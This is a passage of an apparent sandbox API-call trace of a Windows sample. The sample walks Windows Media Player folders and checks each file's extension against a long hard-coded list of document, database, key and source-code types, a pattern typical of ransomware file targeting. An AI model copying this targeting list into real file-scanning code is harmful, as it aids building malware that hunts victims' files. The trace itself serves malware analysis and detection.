	[0180.538] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1
	[0180.538] lstrlenW (lpString=".one") returned 4
	[0180.538] lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1
	[0180.538] lstrlenW (lpString=".onepkg") returned 7
	[0180.538] lstrcmpiW (lpString1=".onepkg", lpString2="ort.xml") returned -1
	[0180.539] lstrlenW (lpString=".onetoc2") returned 8
	[0180.539] lstrcmpiW (lpString1=".onetoc2", lpString2="port.xml") returned -1
	[0180.539] lstrlenW (lpString=".opt") returned 4
	[0180.539] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1
	[0180.539] lstrlenW (lpString=".oqy") returned 4
	[0180.539] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1
	[0180.539] lstrlenW (lpString=".orf") returned 4
	[0180.539] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1
	[0180.539] lstrlenW (lpString=".p12") returned 4
	[0180.539] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1
	[0180.539] lstrlenW (lpString=".p7b") returned 4
	[0180.539] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1
	[0180.539] lstrlenW (lpString=".p7c") returned 4
	[0180.539] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1
	[0180.539] lstrlenW (lpString=".pam") returned 4
	[0180.539] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1
	[0180.539] lstrlenW (lpString=".pbm") returned 4
	[0180.539] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1
	[0180.539] lstrlenW (lpString=".pct") returned 4
	[0180.539] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1
	[0180.539] lstrlenW (lpString=".pcx") returned 4
	[0180.539] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1
	[0180.539] lstrlenW (lpString=".pdd") returned 4
	[0180.539] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1
	[0180.540] lstrlenW (lpString=".pdf") returned 4
	[0180.540] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0180.540] lstrlenW (lpString=".pdp") returned 4
	[0180.540] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1
	[0180.540] lstrlenW (lpString=".pef") returned 4
	[0180.540] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1
	[0180.540] lstrlenW (lpString=".pem") returned 4
	[0180.540] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1
	[0180.540] lstrlenW (lpString=".pff") returned 4
	[0180.540] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1
	[0180.540] lstrlenW (lpString=".pfm") returned 4
	[0180.540] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1
	[0180.540] lstrlenW (lpString=".pfx") returned 4
	[0180.540] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1
	[0180.540] lstrlenW (lpString=".pgm") returned 4
	[0180.540] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1
	[0180.540] lstrlenW (lpString=".php") returned 4
	[0180.540] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1
	[0180.540] lstrlenW (lpString=".php3") returned 5
	[0180.540] lstrcmpiW (lpString1=".php3", lpString2="t.xml") returned -1
	[0180.540] lstrlenW (lpString=".php4") returned 5
	[0180.540] lstrcmpiW (lpString1=".php4", lpString2="t.xml") returned -1
	[0180.540] lstrlenW (lpString=".php5") returned 5
	[0180.540] lstrcmpiW (lpString1=".php5", lpString2="t.xml") returned -1
	[0180.540] lstrlenW (lpString=".phtml") returned 6
	[0180.541] lstrcmpiW (lpString1=".phtml", lpString2="rt.xml") returned -1
	[0180.541] lstrlenW (lpString=".pict") returned 5
	[0180.541] lstrcmpiW (lpString1=".pict", lpString2="t.xml") returned -1
	[0180.541] lstrlenW (lpString=".pl") returned 3
	[0180.541] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1
	[0180.541] lstrlenW (lpString=".pls") returned 4
	[0180.541] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1
	[0180.541] lstrlenW (lpString=".pm") returned 3
	[0180.541] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1
	[0180.541] lstrlenW (lpString=".png") returned 4
	[0180.541] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1
	[0180.541] lstrlenW (lpString=".pnm") returned 4
	[0180.541] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1
	[0180.541] lstrlenW (lpString=".pot") returned 4
	[0180.541] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1
	[0180.541] lstrlenW (lpString=".potm") returned 5
	[0180.541] lstrcmpiW (lpString1=".potm", lpString2="t.xml") returned -1
	[0180.541] lstrlenW (lpString=".potx") returned 5
	[0180.541] lstrcmpiW (lpString1=".potx", lpString2="t.xml") returned -1
	[0180.541] lstrlenW (lpString=".ppa") returned 4
	[0180.541] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1
	[0180.541] lstrlenW (lpString=".ppam") returned 5
	[0180.541] lstrcmpiW (lpString1=".ppam", lpString2="t.xml") returned -1
	[0180.541] lstrlenW (lpString=".ppm") returned 4
	[0180.541] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1
	[0180.542] lstrlenW (lpString=".pps") returned 4
	[0180.542] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1
	[0180.542] lstrlenW (lpString=".ppsm") returned 5
	[0180.542] lstrcmpiW (lpString1=".ppsm", lpString2="t.xml") returned -1
	[0180.542] lstrlenW (lpString=".ppt") returned 4
	[0180.542] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0180.542] lstrlenW (lpString=".pptm") returned 5
	[0180.542] lstrcmpiW (lpString1=".pptm", lpString2="t.xml") returned -1
	[0180.542] lstrlenW (lpString=".pptx") returned 5
	[0180.542] lstrcmpiW (lpString1=".pptx", lpString2="t.xml") returned -1
	[0180.542] lstrlenW (lpString=".prn") returned 4
	[0180.542] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1
	[0180.542] lstrlenW (lpString=".ps") returned 3
	[0180.542] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1
	[0180.542] lstrlenW (lpString=".psb") returned 4
	[0180.542] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1
	[0180.542] lstrlenW (lpString=".psd") returned 4
	[0180.542] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1
	[0180.542] lstrlenW (lpString=".pst") returned 4
	[0180.542] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1
	[0180.542] lstrlenW (lpString=".ptx") returned 4
	[0180.542] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1
	[0180.542] lstrlenW (lpString=".pub") returned 4
	[0180.543] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1
	[0180.543] lstrlenW (lpString=".pwm") returned 4
	[0180.543] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1
	[0180.543] lstrlenW (lpString=".pxr") returned 4
	[0180.543] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1
	[0180.543] lstrlenW (lpString=".py") returned 3
	[0180.543] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1
	[0180.543] lstrlenW (lpString=".qt") returned 3
	[0180.543] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1
	[0180.543] lstrlenW (lpString=".r3d") returned 4
	[0180.543] lstrcmpiW (lpString1=".r3d", lpString2=".xml") returned -1
	[0180.544] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x1534, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="connectionmanager_dmr.xml", cAlternateFileName="")) returned 1
	[0180.544] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DMR_120.jpg", cAlternateFileName="")) returned 1
	[0180.544] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x3a1c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DMR_120.png", cAlternateFileName="")) returned 1
	[0180.545] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DMR_48.jpg", cAlternateFileName="")) returned 1
	[0180.545] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x10a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DMR_48.png", cAlternateFileName="")) returned 1
	[0180.545] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x18db, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RenderingControl.xml", cAlternateFileName="")) returned 1
	[0180.545] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x933, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RenderingControl_DMP.xml", cAlternateFileName="")) returned 1
	[0180.546] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x933, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RenderingControl_DMP.xml", cAlternateFileName="")) returned 0
	[0180.546] FindClose (in: hFindFile=0x76e868 | out: hFindFile=0x76e868) returned 1
	[0180.547] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0180.547] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40fd93f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc4f45c00, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1
	[0180.547] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c5441, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Sharing", cAlternateFileName="NETWOR~1")) returned 1
	[0180.547] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4094fb8
	[0180.547] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Network Sharing") returned 53
	[0180.547] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\*", lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c5441, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e9e8
	[0180.721] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c5441, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0180.723] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x152e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ConnectionManager.xml", cAlternateFileName="")) returned 1
	[0180.724] lstrlenW (lpString="ConnectionManager.xml") returned 21
	[0180.724] lstrlenW (lpString=".1cd") returned 4
	[0180.724] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0180.724] lstrlenW (lpString=".3ds") returned 4
	[0180.724] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1
	[0180.724] lstrlenW (lpString=".3fr") returned 4
	[0180.724] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1
	[0180.724] lstrlenW (lpString=".3g2") returned 4
	[0180.724] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1
	[0180.724] lstrlenW (lpString=".3gp") returned 4
	[0180.724] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1
	[0180.724] lstrlenW (lpString=".7z") returned 3
	[0180.724] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0180.724] lstrlenW (lpString=".accda") returned 6
	[0180.724] lstrcmpiW (lpString1=".accda", lpString2="er.xml") returned -1
	[0180.724] lstrlenW (lpString=".accdb") returned 6
	[0180.724] lstrcmpiW (lpString1=".accdb", lpString2="er.xml") returned -1
	[0180.724] lstrlenW (lpString=".accdc") returned 6
	[0180.724] lstrcmpiW (lpString1=".accdc", lpString2="er.xml") returned -1
	[0180.724] lstrlenW (lpString=".accde") returned 6
	[0180.724] lstrcmpiW (lpString1=".accde", lpString2="er.xml") returned -1
	[0180.724] lstrlenW (lpString=".accdt") returned 6
	[0180.724] lstrcmpiW (lpString1=".accdt", lpString2="er.xml") returned -1
	[0180.724] lstrlenW (lpString=".accdw") returned 6
	[0180.725] lstrcmpiW (lpString1=".accdw", lpString2="er.xml") returned -1
	[0180.725] lstrlenW (lpString=".adb") returned 4
	[0180.725] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1
	[0180.725] lstrlenW (lpString=".adp") returned 4
	[0180.725] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1
	[0180.725] lstrlenW (lpString=".ai") returned 3
	[0180.725] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1
	[0180.725] lstrlenW (lpString=".ai3") returned 4
	[0180.725] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1
	[0180.725] lstrlenW (lpString=".ai4") returned 4
	[0180.725] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1
	[0180.725] lstrlenW (lpString=".ai5") returned 4
	[0180.725] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1
	[0180.725] lstrlenW (lpString=".ai6") returned 4
	[0180.725] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1
	[0180.725] lstrlenW (lpString=".ai7") returned 4
	[0180.725] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1
	[0180.725] lstrlenW (lpString=".ai8") returned 4
	[0180.725] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1
	[0180.725] lstrlenW (lpString=".anim") returned 5
	[0180.725] lstrcmpiW (lpString1=".anim", lpString2="r.xml") returned -1
	[0180.725] lstrlenW (lpString=".arw") returned 4
	[0180.725] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1
	[0180.725] lstrlenW (lpString=".as") returned 3
	[0180.725] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1
	[0180.726] lstrlenW (lpString=".asa") returned 4
	[0180.726] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1
	[0180.726] lstrlenW (lpString=".asc") returned 4
	[0180.726] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1
	[0180.726] lstrlenW (lpString=".ascx") returned 5
	[0180.726] lstrcmpiW (lpString1=".ascx", lpString2="r.xml") returned -1
	[0180.726] lstrlenW (lpString=".asm") returned 4
	[0180.726] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1
	[0180.726] lstrlenW (lpString=".asmx") returned 5
	[0180.726] lstrcmpiW (lpString1=".asmx", lpString2="r.xml") returned -1
	[0180.726] lstrlenW (lpString=".asp") returned 4
	[0180.726] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1
	[0180.726] lstrlenW (lpString=".aspx") returned 5
	[0180.726] lstrcmpiW (lpString1=".aspx", lpString2="r.xml") returned -1
	[0180.726] lstrlenW (lpString=".asr") returned 4
	[0180.726] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1
	[0180.726] lstrlenW (lpString=".asx") returned 4
	[0180.726] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1
	[0180.726] lstrlenW (lpString=".avi") returned 4
	[0180.726] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1
	[0180.726] lstrlenW (lpString=".avs") returned 4
	[0180.727] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1
	[0180.727] lstrlenW (lpString=".backup") returned 7
	[0180.727] lstrcmpiW (lpString1=".backup", lpString2="ger.xml") returned -1
	[0180.727] lstrlenW (lpString=".bak") returned 4
	[0180.727] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1
	[0180.727] lstrlenW (lpString=".bay") returned 4
	[0180.727] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1
	[0180.727] lstrlenW (lpString=".bd") returned 3
	[0180.727] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1
	[0180.727] lstrlenW (lpString=".bin") returned 4
	[0180.727] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1
	[0180.727] lstrlenW (lpString=".bmp") returned 4
	[0180.727] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1
	[0180.727] lstrlenW (lpString=".bz2") returned 4
	[0180.727] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0180.727] lstrlenW (lpString=".c") returned 2
	[0180.727] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0180.727] lstrlenW (lpString=".cdr") returned 4
	[0180.727] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1
	[0180.727] lstrlenW (lpString=".cer") returned 4
	[0180.727] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1
	[0180.727] lstrlenW (lpString=".cf") returned 3
	[0180.727] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1
	[0180.727] lstrlenW (lpString=".cfc") returned 4
	[0180.727] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1
	[0180.728] lstrlenW (lpString=".cfm") returned 4
	[0180.728] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1
	[0180.728] lstrlenW (lpString=".cfml") returned 5
	[0180.728] lstrcmpiW (lpString1=".cfml", lpString2="r.xml") returned -1
	[0180.728] lstrlenW (lpString=".cfu") returned 4
	[0180.728] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1
	[0180.728] lstrlenW (lpString=".chm") returned 4
	[0180.728] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1
	[0180.728] lstrlenW (lpString=".cin") returned 4
	[0180.728] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1
	[0180.728] lstrlenW (lpString=".class") returned 6
	[0180.728] lstrcmpiW (lpString1=".class", lpString2="er.xml") returned -1
	[0180.728] lstrlenW (lpString=".clx") returned 4
	[0180.728] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1
	[0180.728] lstrlenW (lpString=".config") returned 7
	[0180.728] lstrcmpiW (lpString1=".config", lpString2="ger.xml") returned -1
	[0180.728] lstrlenW (lpString=".cpp") returned 4
	[0180.728] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1
	[0180.728] lstrlenW (lpString=".cr2") returned 4
	[0180.728] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1
	[0180.729] lstrlenW (lpString=".crt") returned 4
	[0180.729] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1
	[0180.729] lstrlenW (lpString=".crw") returned 4
	[0180.729] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1
	[0180.729] lstrlenW (lpString=".cs") returned 3
	[0180.729] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1
	[0180.729] lstrlenW (lpString=".css") returned 4
	[0180.729] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1
	[0180.729] lstrlenW (lpString=".csv") returned 4
	[0180.729] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1
	[0180.729] lstrlenW (lpString=".cub") returned 4
	[0180.729] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1
	[0180.729] lstrlenW (lpString=".dae") returned 4
	[0180.729] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1
	[0180.729] lstrlenW (lpString=".dat") returned 4
	[0180.729] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1
	[0180.729] lstrlenW (lpString=".db") returned 3
	[0180.729] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1
	[0180.729] lstrlenW (lpString=".dbf") returned 4
	[0180.729] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0180.729] lstrlenW (lpString=".dbx") returned 4
	[0180.729] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1
	[0180.730] lstrlenW (lpString=".dc3") returned 4
	[0180.730] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1
	[0180.730] lstrlenW (lpString=".dcm") returned 4
	[0180.730] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1
	[0180.731] lstrlenW (lpString=".dcr") returned 4
	[0180.731] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1
	[0180.731] lstrlenW (lpString=".der") returned 4
	[0180.732] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1
	[0180.732] lstrlenW (lpString=".dib") returned 4
	[0180.732] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1
	[0180.732] lstrlenW (lpString=".dic") returned 4
	[0180.732] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1
	[0180.732] lstrlenW (lpString=".dif") returned 4
	[0180.732] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1
	[0180.732] lstrlenW (lpString=".divx") returned 5
	[0180.732] lstrcmpiW (lpString1=".divx", lpString2="r.xml") returned -1
	[0180.732] lstrlenW (lpString=".djvu") returned 5
	[0180.732] lstrcmpiW (lpString1=".djvu", lpString2="r.xml") returned -1
	[0180.732] lstrlenW (lpString=".dng") returned 4
	[0180.732] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1
	[0180.732] lstrlenW (lpString=".doc") returned 4
	[0180.732] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0180.732] lstrlenW (lpString=".docm") returned 5
	[0180.732] lstrcmpiW (lpString1=".docm", lpString2="r.xml") returned -1
	[0180.732] lstrlenW (lpString=".docx") returned 5
	[0180.732] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1
	[0180.732] lstrlenW (lpString=".dot") returned 4
	[0180.732] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1
	[0180.732] lstrlenW (lpString=".dotm") returned 5
	[0180.732] lstrcmpiW (lpString1=".dotm", lpString2="r.xml") returned -1
	[0180.733] lstrlenW (lpString=".dotx") returned 5
	[0180.733] lstrcmpiW (lpString1=".dotx", lpString2="r.xml") returned -1
	[0180.733] lstrlenW (lpString=".dpx") returned 4
	[0180.733] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1
	[0180.733] lstrlenW (lpString=".dqy") returned 4
	[0180.733] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1
	[0180.733] lstrlenW (lpString=".dsn") returned 4
	[0180.733] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1
	[0180.733] lstrlenW (lpString=".dt") returned 3
	[0180.733] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1
	[0180.733] lstrlenW (lpString=".dtd") returned 4
	[0180.733] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1
	[0180.733] lstrlenW (lpString=".dwg") returned 4
	[0180.733] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1
	[0180.733] lstrlenW (lpString=".dwt") returned 4
	[0180.733] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1
	[0180.733] lstrlenW (lpString=".dx") returned 3
	[0180.733] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1
	[0180.733] lstrlenW (lpString=".dxf") returned 4
	[0180.733] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1
	[0180.733] lstrlenW (lpString=".edml") returned 5
	[0180.733] lstrcmpiW (lpString1=".edml", lpString2="r.xml") returned -1
	[0180.733] lstrlenW (lpString=".efd") returned 4
	[0180.734] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1
	[0180.734] lstrlenW (lpString=".elf") returned 4
	[0180.734] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1
	[0180.734] lstrlenW (lpString=".emf") returned 4
	[0180.734] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1
	[0180.734] lstrlenW (lpString=".emz") returned 4
	[0180.734] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1
	[0180.734] lstrlenW (lpString=".epf") returned 4
	[0180.734] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1
	[0180.734] lstrlenW (lpString=".eps") returned 4
	[0180.734] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1
	[0180.734] lstrlenW (lpString=".epsf") returned 5
